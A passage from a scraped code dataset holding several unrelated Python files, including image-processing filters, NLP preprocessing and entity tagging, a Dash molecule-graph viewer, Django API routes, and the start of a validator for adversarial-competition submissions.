'r') as f:\n for line in f:\n data += line\n\n\npattern = r\"^\\[\\[Category:(.*?)(?:\\|.)?\\]\\]$\"\nresult = '\\n'.join(re.findall(pattern, data, re.MULTILINE))\nprint(result)","sub_path":"re_part3/22.py","file_name":"22.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"462038528","text":"#! /usr/bin/env python\n\nimport sys\nfrom vocabulary import Vocabulary\nfrom porter_stemming import PorterStemmer\n\ndef stem_file(filename, vocab, stop_word = None):\n p = PorterStemmer()\n word_count = {}\n infile = open(filename, 'r')\n while 1:\n word = ''\n line = infile.readline()\n if line == '':\n break\n for c in line:\n if c.isalpha():\n word += c.lower()\n else:\n if word:\n stemmed_word = p.stem(word, 0,len(word)-1)\n word = ''\n if stemmed_word is None or len(stemmed_word) == 0:\n continue\n if stop_word is not None and stop_word.get_id_from_token(stemmed_word) != -1:\n continue\n\n vocab.add_token(stemmed_word)\n count = word_count.get(stemmed_word, 0) + 1\n word_count[stemmed_word] = count\n infile.close()\n return word_count\n\nif __name__ == '__main__':\n if len(sys.argv) <= 2:\n print >>sys.stderr, '%s [stop word file] [doc file] ...' % sys.argv[0]\n sys.exit(1)\n\n stop_word = Vocabulary()\n stop_word.load(sys.argv[1])\n vocab = Vocabulary()\n word_count_list = []\n\n for filename in sys.argv[2:]:\n word_count = stem_file(filename, vocab, stop_word)\n word_count_list.append(word_count)\n vocab.sort()\n vocab.save('train.vocab')\n\n fp = open('train', 'w')\n for word_count in word_count_list:\n for word in word_count.keys():\n id = vocab.get_id_from_token(word)\n count = word_count[word]\n fp.write('%d:%d ' % (id, count))\n fp.write('\\n')\n fp.close()\n\n","sub_path":"data/lda_doc_proc.py","file_name":"lda_doc_proc.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"367457495","text":"import ssmc\nfrom examples.util import set_env, get_logger, measure\n\nlogger = get_logger()\n# logger.setLevel(logging.INFO)\n\n# get config\nconf = set_env()\n\n# create api client\napi = ssmc.APIClient(token=conf.token, secret=conf.secret, zone=conf.zone, debug=conf.debug)\n\n# MGW 1つだけ利用\nmgws, _ = api.list_mgws()\nmgw = mgws[0]\n\n# activate sim\nsize, offset = 5000, 0\nwith measure(f\"assign sims - size={size}\", logger):\n while True:\n sim_statuses, paging = api.list_sims_of_mgw(mgw_id=mgw.id, size=size, offset=offset)\n total = paging.total\n offset = paging.size + paging.offset\n\n with measure(f\"setup sims: num_of_sims={len(sim_statuses)}\", logger):\n for sim_status in sim_statuses:\n # deactivate sim\n if sim_status.activated:\n with measure(f\"deactivate_sim: total={total}, sim_id={sim_status.sim_resource_id}\", logger):\n api.deactivate_sim(sim_id=sim_status.sim_resource_id)\n # delete ip\n if sim_status.ip is not None:\n with measure(f\"delete_ip: total={total}, sim_id={sim_status.sim_resource_id}\", logger):\n api.delete_ip(sim_id=sim_status.sim_resource_id)\n # assign to mgw\n if sim_status.simgroup_id is not None:\n with measure(\n f\"unassign_sim_from_mgw: total={total}, sim_id={sim_status.sim_resource_id}, mgw_id={mgw.id}\",\n logger):\n api.unassign_sim_from_mgw(mgw_id=mgw.id, sim_id=sim_status.sim_resource_id)\n # unlock imei\n if sim_status.imei_lock:\n with measure(f\"unlock_imei: total={total}, sim_id={sim_status.sim_resource_id}\", logger):\n api.unlock_imei(sim_id=sim_status.sim_resource_id)\n if offset >= total:\n break\n","sub_path":"examples/unassign_sim_from_mgw.py","file_name":"unassign_sim_from_mgw.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"60015385","text":"from PIL import Image, ImageQt, ImageEnhance, ImageOps\nimport math\nimport copy\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass Images():\n def __init__(self):\n self.image = []\n self.imagePoped = []\n\n def changeCurrent(self):\n self.current = self.image[-1]\n\n def saves(self, path):\n extension = str(path[1][0:3]).lower()\n if extension in ['pbm', 'pgm', 'ppm']:\n ext = 'ppm'\n elif extension in ['jpeg', 'jpg']:\n ext = 'jpeg'\n elif extension in ['png']:\n ext = 'png'\n else:\n ext = extension\n self.current.save(path[0] + '.' + extension, ext)\n\n def imageLoader(self, path):\n self.image.append(Image.open(path).convert('RGB'))\n self.changeCurrent()\n\n def toPixmap(self):\n return ImageQt.toqpixmap(self.current)\n\n def rgb_to_hsv(self, r, g, b):\n r = float(r)\n g = float(g)\n b = float(b)\n high = max(r, g, b)\n low = min(r, g, b)\n h, s, v = high, high, high\n\n d = high - low\n s = 0 if high == 0 else d / high\n\n if high == low:\n h = 0.0\n else:\n h = {\n r: (g - b) / d + (6 if g < b else 0),\n g: (b - r) / d + 2,\n b: (r - g) / d + 4,\n }[high]\n h /= 6\n\n return h, s, v\n\n def hsv_to_rgb(self, h, s, v):\n # h, s = h / 253.3, s / 253.3\n i = math.floor(h * 6)\n f = h * 6 - i\n p = v * (1 - s)\n q = v * (1 - f * s)\n t = v * (1 - (1 - f) * s)\n\n r, g, b = [\n (v, t, p),\n (q, v, p),\n (p, v, t),\n (p, q, v),\n (t, p, v),\n (v, p, q),\n ][int(i % 6)]\n\n return int(r), int(g), int(b)\n\n def checkIfEmpty(self):\n if len(self.image) > 0:\n return True\n else:\n return False\n\n def undo(self):\n if len(self.image) > 1:\n self.imagePoped.append(self.image.pop())\n self.changeCurrent()\n else:\n pass\n\n def forward(self):\n if len(self.imagePoped) > 0:\n self.image.append(self.imagePoped.pop())\n self.changeCurrent()\n else:\n pass\n\n def saturation(self, ratio):\n converter = ImageEnhance.Color(self.current)\n self.image.append(converter.enhance(ratio))\n self.changeCurrent()\n\n def light(self, ratio):\n converter = ImageEnhance.Brightness(self.current)\n self.image.append(converter.enhance(ratio))\n self.changeCurrent()\n\n def invert(self):\n self.image.append(ImageOps.invert(self.current.convert('RGB')))\n self.changeCurrent()\n\n def monochromatic(self):\n self.image.append(self.current.convert('L').convert('RGB'))\n self.changeCurrent()\n\n def monochromatic2(self):\n self.image.append(self.current.convert('1').convert('RGB'))\n self.changeCurrent()\n\n def saturationOwn(self, ratio):\n tmpHSV = copy.deepcopy(self.current)\n width, height = tmpHSV.size\n for w in range(width):\n for h in range(height):\n hue, sat, val = tmpHSV.getpixel((w, h))\n p = self.rgb_to_hsv(hue, sat, val)\n saturation = p[1] * ratio\n if saturation > 1:\n saturation = 1\n elif saturation < 0:\n saturation = 0\n tmpHSV.putpixel((w, h), self.hsv_to_rgb(p[0], saturation, p[2]))\n self.image.append(tmpHSV)\n self.changeCurrent()\n\n def lightOwn(self, ratio):\n tmpHSV = copy.deepcopy(self.current)\n width, height = tmpHSV.size\n for w in range(width):\n for h in range(height):\n hue, sat, val = tmpHSV.getpixel((w, h))\n p = self.rgb_to_hsv(hue, sat, val)\n light = p[2] * ratio\n if light > 255:\n light = 255\n elif light < 0:\n light = 0\n tmpHSV.putpixel((w, h), self.hsv_to_rgb(p[0], p[1], light))\n self.image.append(tmpHSV)\n self.changeCurrent()\n\n def invertOwn(self):\n tmpRGB = copy.deepcopy(self.current)\n width, height = tmpRGB.size\n for w in range(width):\n for h in range(height):\n p = tmpRGB.getpixel((w, h))\n tmpRGB.putpixel((w, h), (255 - p[0], 255 - p[1], 255 - p[2]))\n self.image.append(tmpRGB)\n self.changeCurrent()\n\n def monochromaticOwn(self):\n tmpRGB = copy.deepcopy(self.current)\n width, height = tmpRGB.size\n for w in range(width):\n for h in range(height):\n p = tmpRGB.getpixel((w, h))\n avg = int(math.floor(((p[0] * 1.3) + (p[1] * 1.6) + (p[2] * 1.1)) / 3))\n if avg > 255:\n avg = 255\n tmpRGB.putpixel((w, h), (avg, avg, avg))\n self.image.append(tmpRGB)\n self.changeCurrent()\n\n def monochromatic2Own(self):\n tmpRGB = self.current\n print(tmpRGB.getpixel((0, 0)))\n\n def linearcontrastOwn(self, ratio):\n tmpRGB = copy.deepcopy(self.current)\n factor = (259 * (ratio + 255)) / (255 * (259 - ratio))\n width, height = tmpRGB.size\n for w in range(width):\n for h in range(height):\n p = tmpRGB.getpixel((w, h))\n newRed = math.floor(factor * (p[0] - 128) + 128)\n newGreen = math.floor(factor * (p[1] - 128) + 128)\n newBlue = math.floor(factor * (p[2] - 128) + 128)\n tmpRGB.putpixel((w, h), (newRed, newGreen, newBlue))\n self.image.append(tmpRGB)\n self.changeCurrent()\n\n def logcontrastOwn(self, ratio):\n tmpRGB = copy.deepcopy(self.current)\n width, height = tmpRGB.size\n c = ratio / math.log(256)\n for w in range(width):\n for h in range(height):\n p = tmpRGB.getpixel((w, h))\n # print(str(math.log(p[0]+1)) + \" \" + str(p[0]) + \" \"+ str(ratio))\n newRed = math.floor(c * math.log(p[0] + 1))\n newGreen = math.floor(c * math.log(p[1] + 1))\n newBlue = math.floor(c * math.log(p[2] + 1))\n tmpRGB.putpixel((w, h), (newRed, newGreen, newBlue))\n self.image.append(tmpRGB)\n self.changeCurrent()\n\n def powercontrastOwn(self, ratio):\n tmpRGB = copy.deepcopy(self.current)\n width, height = tmpRGB.size\n c = ratio / math.log(256)\n for w in range(width):\n for h in range(height):\n p = tmpRGB.getpixel((w, h))\n # print(str(math.log(p[0]+1)) + \" \" + str(p[0]) + \" \"+ str(ratio))\n newRed = math.floor(c * math.log(p[0] + 1))\n newGreen = math.floor(c * math.log(p[1] + 1))\n newBlue = math.floor(c * math.log(p[2] + 1))\n tmpRGB.putpixel((w, h), (newRed, newGreen, newBlue, p[3]))\n self.image.append(tmpRGB)\n self.changeCurrent()\n\n def incOwn(self, ratio):\n tmpRGB = copy.deepcopy(self.current)\n width, height = tmpRGB.size\n for w in range(width):\n for h in range(height):\n p = tmpRGB.getpixel((w, h))\n colors = [math.floor(p[0] + ratio), math.floor(p[1] + ratio), math.floor(p[2] + ratio), p[3]]\n for i in range(3):\n if colors[i] > 255:\n colors[i] = 255\n tmpRGB.putpixel((w, h), tuple(colors))\n self.image.append(tmpRGB)\n self.changeCurrent()\n\n def decOwn(self, ratio):\n tmpRGB = copy.deepcopy(self.current)\n width, height = tmpRGB.size\n for w in range(width):\n for h in range(height):\n p = tmpRGB.getpixel((w, h))\n colors = [math.floor(p[0] - ratio), math.floor(p[1] - ratio), math.floor(p[2] - ratio), p[3]]\n for i in range(3):\n if colors[i] < 0:\n colors[i] = 0\n tmpRGB.putpixel((w, h), tuple(colors))\n self.image.append(tmpRGB)\n self.changeCurrent()\n\n def mulOwn(self, ratio):\n tmpRGB = copy.deepcopy(self.current)\n width, height = tmpRGB.size\n for w in range(width):\n for h in range(height):\n p = tmpRGB.getpixel((w, h))\n colors = [math.floor(p[0] * ratio), math.floor(p[1] * ratio), math.floor(p[2] * ratio), p[3]]\n for i in range(3):\n if colors[i] > 255:\n colors[i] = 255\n tmpRGB.putpixel((w, h), tuple(colors))\n self.image.append(tmpRGB)\n self.changeCurrent()\n\n def showHistogram(self, color):\n if color == 0:\n histogram = [0] * 256\n tmp = self.current.histogram()\n for i in range(3):\n for j in range(256):\n histogram[j] += tmp[0]\n tmp.pop(0)\n else:\n r, g, b = self.current.split()\n if color == 1:\n histogram = r.histogram()\n elif color == 2:\n histogram = b.histogram()\n else:\n histogram = g.histogram()\n\n plt.style.use('ggplot')\n plt.xlim(0, 255)\n plt.bar(range(256), histogram)\n plt.show()\n\n def normalizeRed(self, intensity):\n iI = intensity\n minI = 86\n maxI = 230\n minO = 0\n maxO = 255\n iO = (iI - minI) * (((maxO - minO) / (maxI - minI)) + minO)\n return iO\n\n def normalizeGreen(self, intensity):\n iI = intensity\n minI = 90\n maxI = 225\n minO = 0\n maxO = 255\n iO = (iI - minI) * (((maxO - minO) / (maxI - minI)) + minO)\n return iO\n\n def normalizeBlue(self, intensity):\n iI = intensity\n minI = 100\n maxI = 210\n minO = 0\n maxO = 255\n iO = (iI - minI) * (((maxO - minO) / (maxI - minI)) + minO)\n return iO\n\n def stretchHistogram(self):\n tmpRGB = copy.deepcopy(self.current)\n # constant = (255-0)/(tmpRGB.max())\n multiBands = tmpRGB.split()\n normalizedRedBand = multiBands[0].point(self.normalizeRed)\n normalizedGreenBand = multiBands[1].point(self.normalizeGreen)\n normalizedBlueBand = multiBands[2].point(self.normalizeBlue)\n normalizedImage = Image.merge(\"RGB\", (normalizedRedBand, normalizedGreenBand, normalizedBlueBand))\n self.image.append(normalizedImage)\n self.changeCurrent()\n\n def otsuHist(self, img):\n row, col = img.shape\n y = np.zeros(256)\n for i in range(0, row):\n for j in range(0, col):\n y[img[i, j]] += 1\n return y\n\n def countPixel(self, h):\n cnt = 0\n for i in range(0, len(h)):\n if self.h[i] > 0:\n cnt += self.h[i]\n return cnt\n\n def weight(self, s, e):\n w = 0\n for i in range(s, e):\n w += self.h[i]\n return w\n\n def mean(self, s, e):\n m = 0\n w = self.weight(s, e)\n for i in range(s, e):\n m += self.h[i] * i\n return m / float(w) # warning about divide by 0, left in case of other warnings\n\n def variance(self, s, e):\n v = 0\n m = self.mean(s, e)\n w = self.weight(s, e)\n for i in range(s, e):\n v += ((i - m) ** 2) * self.h[i]\n v /= w\n return v\n\n def threshold(self, h):\n cnt = self.countPixel(h)\n for i in range(1, len(self.h)):\n vb = self.variance(0, i)\n wb = self.weight(0, i) / float(cnt)\n mb = self.mean(0, i)\n\n vf = self.variance(i, len(self.h))\n wf = self.weight(i, len(self.h)) / float(cnt)\n mf = self.mean(i, len(self.h))\n\n V2w = wb * (vb) + wf * (vf)\n V2b = wb * wf * (mb - mf) ** 2\n\n if not math.isnan(V2w):\n self.threshold_values[i] = V2w\n\n def get_optimal_threshold(self):\n min_V2w = min(self.threshold_values.values())\n optimal_threshold = [k for k, v in self.threshold_values.items() if v == min_V2w]\n return optimal_threshold[0]\n\n def otsu(self):\n self.threshold_values = {}\n self.h = [1]\n tmpRGB = copy.deepcopy(self.current.convert('L'))\n width, height = tmpRGB.size\n img = np.asarray(copy.deepcopy(tmpRGB))\n self.h = self.otsuHist(img)\n self.threshold(self.h)\n op_thres = self.get_optimal_threshold()\n for w in range(width):\n for h in range(height):\n p = tmpRGB.getpixel((w, h))\n if p > op_thres:\n tmpRGB.putpixel((w, h), 255)\n else:\n tmpRGB.putpixel((w, h), 0)\n\n self.image.append(tmpRGB)\n self.changeCurrent()\n","sub_path":"05/do_sprawdzenia/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":13008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"114741600","text":"# -*- coding: utf-8 -*-\n\nimport inspect\nimport xlrd\nimport os\n\ntry:\n # Python 3\n from knitter import log\n from knitter import env\nexcept ImportError:\n # Python 2\n from . import log\n from . import env\n\nclass ExcelSheet:\n def __init__(self, excel, sheet):\n if env.EXCEL_DATA_PATH == \"\": \n env.EXCEL_DATA_PATH = os.path.join(env.RESULT_PATH, \"data\")\n \n self.excel = xlrd.open_workbook(os.path.join(env.EXCEL_DATA_PATH, excel))\n self.sheet = self.excel.sheet_by_name(sheet)\n \n # something like: [['', '', '', '', ''], ['', '', '', '', ''], ['', '', '', '', ''], ['', '', '', '', '']]\n self.data = [[\"\" for x in range(self.sheet.ncols)] for y in range(self.sheet.nrows)] \n \n for i in range(self.sheet.nrows):\n for j in range(self.sheet.ncols):\n self.data[i][j] = self.cellxy(i, j)\n \n def nrows(self):\n return self.sheet.nrows\n \n def ncols(self):\n return self.sheet.ncols\n \n def cellxy(self, rowx, colx):\n '''\n Description:\n If the cell value is number, 1234 will get as 1234.0, so fix this issue.\n \n Reference:\n http://stackoverflow.com/questions/2739989/reading-numeric-excel-data-as-text-using-xlrd-in-python\n http://www.lexicon.net/sjmachin/xlrd.html (Search for \"ctype\")\n \n self.sheet.cell(rowx, colx).ctype:\n Type symbol Type number Python value\n XL_CELL_EMPTY 0 empty string u''\n XL_CELL_TEXT 1 a Unicode string\n XL_CELL_NUMBER 2 float\n XL_CELL_DATE 3 float\n XL_CELL_BOOLEAN 4 int; 1 means TRUE, 0 means FALSE\n ......\n '''\n \n cell_value = self.sheet.cell(rowx, colx).value\n \n if self.sheet.cell(rowx, colx).ctype in (2,3) and int(cell_value) == cell_value:\n cell_value = int(cell_value)\n \n return str(cell_value)\n \n \n def cell(self, rowx, col_name):\n for colx in range(0, self.ncols()):\n if self.cellxy(0, colx) == col_name:\n log.step_normal(\"ExcelSheet.cellx(%s, %s)=[%s]\" % (rowx, col_name, self.cellxy(rowx, colx)))\n return self.cellxy(rowx, colx)\n \n def cell_by_colname(self, rowx, col_name):\n for colx in range(0, self.sheet.ncols):\n if self.data[0][colx] == col_name:\n log.step_normal(\"[%s][%s]=[%s]\" % (colx, col_name, self.data[rowx][colx]))\n return self.data[rowx][colx]\n \n return \"ERROR: NO DATA FETCHED!\"\n \n def cell_by_rowname(self, row_name, colx):\n for rowx in range(0, self.sheet.nrows):\n if self.data[rowx][0] == row_name:\n log.step_normal(\"[%s][%s]=[%s]\" % (row_name, colx, self.data[rowx][colx]))\n return self.data[rowx][colx]\n \n return \"ERROR: NO DATA FETCHED!\"\n \n def cell_by_row_and_col_name(self, row_name, col_name):\n for rowx in range(0, self.nrows()):\n if self.cellxy(rowx, 0) == row_name:\n return self.cell(rowx, col_name)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"knitter/datadriver.py","file_name":"datadriver.py","file_ext":"py","file_size_in_byte":3269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"361082646","text":"import argparse\nimport os\nimport spacy\n\nfrom collections import defaultdict\nfrom pathlib import Path\nfrom typing import Dict, List\n\nfrom spacy.language import Language\nfrom tqdm import tqdm\n\nTYPE_MAPPINGS = {\n \"en_ner_bionlp13cg_md\": {\n \"gene_or_gene_product\": \"gene\",\n \"organism\": \"species\",\n \"cancer\": \"disease\",\n \"simple_chemical\": \"chemical\",\n \"amino_acid\": \"chemical\"\n },\n\n \"en_ner_bc5cdr_md\": {\n \"chemical\": \"chemical\",\n \"disease\": \"disease\"\n },\n\n \"en_ner_jnlpba_md\": {\n \"rna\" : \"gene\",\n \"dna\": \"gene\",\n \"protein\": \"gene\"\n },\n\n \"en_ner_craft_md\": {\n \"chebi\": \"chemical\",\n \"ggp\": \"gene\",\n \"taxon\": \"species\",\n }\n}\n\n\ndef read_documents(input_file: Path) -> Dict[str, str]:\n documents = {}\n with open(str(input_file), \"r\") as reader:\n for line in reader.readlines():\n document_id, text = line.strip().split(\"\\t\")\n documents[document_id] = text\n\n return documents\n\n\ndef tag_documents(documents: Dict, model: Language, type_mapping: Dict) -> Dict[str, List]:\n annotations = defaultdict(list)\n for document_id, text in tqdm(documents.items(), total=len(documents)):\n spacy_doc = model(text)\n\n for entity in spacy_doc.ents:\n entity_type = entity.label_.lower()\n if entity_type not in type_mapping:\n #print(entity_type)\n continue\n\n annotations[document_id] += [(\n document_id,\n str(entity.start_char),\n str(entity.end_char),\n entity.text,\n type_mapping[entity_type]\n )]\n\n return annotations\n\n\ndef write_annotations(annotations: Dict[str, List], output_file: Path):\n with open(str(output_file), \"w\") as writer:\n for _, annotations in annotations.items():\n for annotation in annotations:\n writer.write(\"\\t\".join(list(annotation)) + \"\\n\")\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--input_file\", required=True)\n parser.add_argument(\"--model\", required=True)\n parser.add_argument(\"--output_file\", required=True)\n args = parser.parse_args()\n\n spacy_model = spacy.load(args.model)\n type_mapping = TYPE_MAPPINGS[args.model]\n\n documents = read_documents(Path(args.input_file))\n annotations = tag_documents(documents, spacy_model, type_mapping)\n\n output_file = Path(args.output_file)\n os.makedirs(str(output_file.parent), exist_ok=True)\n\n write_annotations(annotations, output_file)\n\n","sub_path":"predict_scispacy.py","file_name":"predict_scispacy.py","file_ext":"py","file_size_in_byte":2615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"149562452","text":"import tests.test_helpers as helpers\n\ndef test_stl_codec():\n \"\"\"\n Basic test of the STL codec plugin.\n \"\"\"\n test_file = helpers.get_test_file_location(\"cube.py\")\n\n command = [\"python\", \"cq-cli.py\", \"--codec\", \"stl\", \"--infile\", test_file]\n out, err, exitcode = helpers.cli_call(command)\n\n assert out.decode().split('\\n')[0].replace('\\r', '') == \"solid \"","sub_path":"tests/test_stl_codec.py","file_name":"test_stl_codec.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"399051104","text":"from typing import List\n\n\n# time limit exceeded\ndef maxSubArray_v1(nums: List[int]) -> int:\n n = len(nums)\n\n if n == 0:\n return 0\n elif n == 1:\n return nums[0]\n else:\n res = -float('inf')\n\n for i in range(0, n):\n for j in range(i, n):\n sub_res = sum(nums[i:j + 1])\n\n if res < sub_res:\n res = sub_res\n\n return res\n\n\n# runtime: 99.61%, memory usage: 84.99%\ndef maxSubArray_v2(nums: List[int]) -> int:\n n = len(nums)\n\n result, sub_res = -float('inf'), 0\n\n for i in range(0, n):\n if sub_res + nums[i] > nums[i]:\n sub_res += nums[i]\n else:\n sub_res = nums[i]\n\n if result < sub_res:\n result = sub_res\n\n return result\n\n\nif __name__ == '__main__':\n print(maxSubArray_v2([-1])) # -1\n print(maxSubArray_v2([1])) # 1\n print(maxSubArray_v2([-2, 1])) # 1\n print(maxSubArray_v2([-2, 1, -3, 4, -1, 2, 1, -5, 4])) # 6 ([4, -1, 2, 1])","sub_path":"lc_solutions/arrays_and_strings/maximum_subarray-53/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"117316618","text":"from django.urls import path, include\nfrom . import views\nfrom rest_framework import routers\n\napp_name = 'api'\n\nrouter = routers.DefaultRouter()\nrouter.register('equipos', views.EquipoViewSet)\nrouter.register('ligas', views.LigaViewSet)\nrouter.register('partidos', views.PartidoViewSet)\nrouter.register('pronosticos', views.PronosticoViewSet)\nrouter.register('torneos', views.TorneoViewSet)\n\nurlpatterns = [\n path('', include(router.urls)),\n path('fechas/',\n views.FechasListView.as_view(),\n name='fechas_list'),\n]","sub_path":"prode/pronosticos/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"586941717","text":"import json\nimport copy\nimport six.moves.urllib.request as urlreq\nfrom six import PY3\n\nimport dash\nimport dash_bio as dashbio\nimport dash_html_components as html\nimport random\n\n\nGraph_ID=32; #group ID\n\n\n#--------------------------------------------------------------------------------------------------------------------------------------\n#--------------------------------------------------------------------------------------------------------------------------------------\n#--------------------------------------------------------------------------------------------------------------------------------------\n#--------------------------------------------------------------------------------------------------------------------------------------\n\nNode_Label_list=[];\nf=open('BZR_node_labels.txt');\nfor line in f:\n Node_Label_list.append(int(line));\nf.close();\n\nNode_Attribute_list=[];\nf=open('BZR_node_attributes.txt');\nfor line in f:\n temp=line.split(',');\n for i in range(0,len(temp)):\n temp[i]=float(temp[i]);\n Node_Attribute_list.append(temp);\nf.close();\n\nBond_list=[];\nf=open('BZR_A.txt');\nfor line in f:\n temp=line.split(',');\n for i in range(0,len(temp)):\n temp[i]=int(temp[i]);\n Bond_list.append(temp);\nf.close();\n\nGraph_Label_list=[];\nf=open('BZR_graph_labels.txt');\nfor line in f:\n Graph_Label_list.append(int(line));\nf.close();\n\nGraph_Indicator_list=[];\nf=open('BZR_graph_indicator.txt');\nfor line in f:\n Graph_Indicator_list.append(int(line));\nf.close();\n\nprint(Graph_Label_list[Graph_ID]);\n\n\ndata={\"nodes\":[],\"links\":[]};\nAtom_Info={\"id\": 1, \"atom\": \"C\"};\nAtoms=[];\nBond_Info={\"id\": 3, \"source\": 1, \"target\": 17, \"bond\": 1, \"strength\": 1, \"distance\": 20.2};\nBonds=[];\nVisual_Info={\"color\": \"#8282D2\", \"visualization_type\": \"cartoon\"};\nVisual={};\n\nElement_list=['','H','He','Li','Be','B','C','N','O','F','Ne','Na','Mg','Al','Si','P','S','Cl'];\n\nmax_color=max(Node_Label_list);\ncolorArr=['1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'];\nNode_Color_list=[];\nfor k in range(max_color):\n color=\"\";\n for i in range(6):\n color+=colorArr[random.randint(0,14)];\n color=\"#\"+color;\n Node_Color_list.append(\"#EBEBEB\");\n\ncount=0;\ncount_map=list(range(len(Node_Label_list)));\nfor i in range(len(Graph_Indicator_list)):\n if(Graph_Indicator_list[i]==Graph_ID):\n temp=copy.deepcopy(Atom_Info);\n temp[\"id\"]=count+1;\n #temp[\"atom\"]=Element_list[Node_Label_list[i]]+\"-\"+str(count+1);\n temp[\"atom\"]=Element_list[Node_Label_list[i]]+\"-\"+str(Node_Label_list[i]);\n count_map[i]=count;\n \n Atoms.append(temp);\n temp=copy.deepcopy(Visual_Info);\n temp[\"color\"]=Node_Color_list[Node_Label_list[i]-1];\n Visual[str(count)]=temp;\n count=count+1;\n\ncount=1;\nfor i in range(len(Bond_list)):\n temp_bond=Bond_list[i];\n if(Graph_Indicator_list[temp_bond[0]-1]==Graph_ID and Graph_Indicator_list[temp_bond[1]-1]==Graph_ID):\n temp=copy.deepcopy(Bond_Info);\n temp[\"source\"]=count_map[temp_bond[0]-1]+1;\n temp[\"target\"]=count_map[temp_bond[1]-1]+1;\n temp[\"id\"]=count;\n count=count+1;\n Bonds.append(temp);\n\ndata[\"nodes\"]=Atoms;\ndata[\"links\"]=Bonds;\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\n\n\napp.layout = html.Div([\n dashbio.Molecule2dViewer(\n id='my-dashbio-molecule2d',\n modelData=data,\n #selectedAtomIds=list(range(1, 18))\n ),\n html.Hr(),\n html.Div(id='molecule2d-output')\n])\n\n\n@app.callback(\n dash.dependencies.Output('molecule2d-output', 'children'),\n [dash.dependencies.Input('my-dashbio-molecule2d', 'selectedAtomIds')]\n)\ndef update_selected_atoms(ids):\n if ids is None or len(ids) == 0:\n return \"No atom has been selected. Select atoms by clicking on them.\"\n return \"Selected atom IDs: {}.\".format(', '.join([str(i) for i in ids]))\n\n\nif __name__ == '__main__':\n app.run_server(debug=True)","sub_path":"Notebook/data&code/BZR/ReadGraph2D.py","file_name":"ReadGraph2D.py","file_ext":"py","file_size_in_byte":4023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"356770925","text":"\"\"\"Helper library which performs validation of the submission.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom builtins import int\n\nimport csv\nimport json\nimport logging\nimport os\nimport re\nimport subprocess\nimport sys\n\nimport numpy as np\nfrom PIL import Image\n\nfrom six import iteritems\n\n\nEXTRACT_COMMAND = {\n '.zip': ['unzip', '${src}', '-d', '${dst}'],\n '.tar': ['tar', 'xvf', '${src}', '-C', '${dst}'],\n '.tar.gz': ['tar', 'xvzf', '${src}', '-C', '${dst}'],\n}\n\nALLOWED_SUBMISSION_TYPES = ['attack', 'targeted_attack', 'defense']\n\nREQUIRED_METADATA_JSON_FIELDS = ['entry_point', 'container',\n 'container_gpu', 'type']\n\nCMD_VARIABLE_RE = re.compile('^\\\\$\\\\{(\\\\w+)\\\\}$')\n\nBATCH_SIZE = 8\nIMAGE_NAME_PATTERN = 'IMG{0:04}.png'\n\nALLOWED_EPS = [4, 8, 12, 16]\n\nMAX_SUBMISSION_SIZE_ZIPPED = 8*1024*1024*1024 # 8 GiB\nMAX_SUBMISSION_SIZE_UNPACKED = 16*1024*1024*1024 # 16 GiB\nMAX_DOCKER_IMAGE_SIZE = 8*1024*1024*1024 # 8 GiB\n\n\ndef get_extract_command_template(filename):\n \"\"\"Returns extraction command based on the filename extension.\"\"\"\n for k, v in iteritems(EXTRACT_COMMAND):\n if filename.endswith(k):\n return v\n return None\n\n\ndef shell_call(command, **kwargs):\n \"\"\"Calls shell command with parameter substitution.\n\n Args:\n command: command to run as a list of tokens\n **kwargs: dirctionary with substitutions\n\n Returns:\n whether command was successful, i.e. returned 0 status code\n\n Example of usage:\n shell_call(['cp', '${A}', '${B}'], A='src_file', B='dst_file')\n will call shell command:\n cp src_file dst_file\n \"\"\"\n command = list(command)\n for i in range(len(command)):\n m = CMD_VARIABLE_RE.match(command[i])\n if m:\n var_id = m.group(1)\n if var_id in kwargs:\n command[i] = kwargs[var_id]\n return subprocess.call(command) == 0\n\n\ndef make_directory_writable(dirname):\n \"\"\"Makes directory readable and writable by everybody.\n\n Args:\n dirname: name of the directory\n\n Returns:\n True if operation was successfull\n\n If you run something inside Docker container and it writes files, then\n these files will be written as root user with restricted permissions.\n So to be able to read/modify these files outside of Docker you have to change\n permissions to be world readable and writable.\n \"\"\"\n retval = shell_call(['docker', 'run', '-v',\n '{0}:/output_dir'.format(dirname),\n 'busybox:1.27.2',\n 'chmod', '-R', 'a+rwx', '/output_dir'])\n if not retval:\n logging.error('Failed to change permissions on directory: %s', dirname)\n return retval\n\n\ndef load_defense_output(filename):\n \"\"\"Loads output of defense from given file.\"\"\"\n result = {}\n with open(filename) as f:\n for row in csv.reader(f):\n try:\n image_filename = row[0]\n if not image_filename.endswith('.png'):\n image_filename += '.png'\n label = int(row[1])\n except (IndexError, ValueError):\n continue\n result[image_filename] = label\n return result\n\n\nclass SubmissionValidator(object):\n \"\"\"Class which performs validation of the 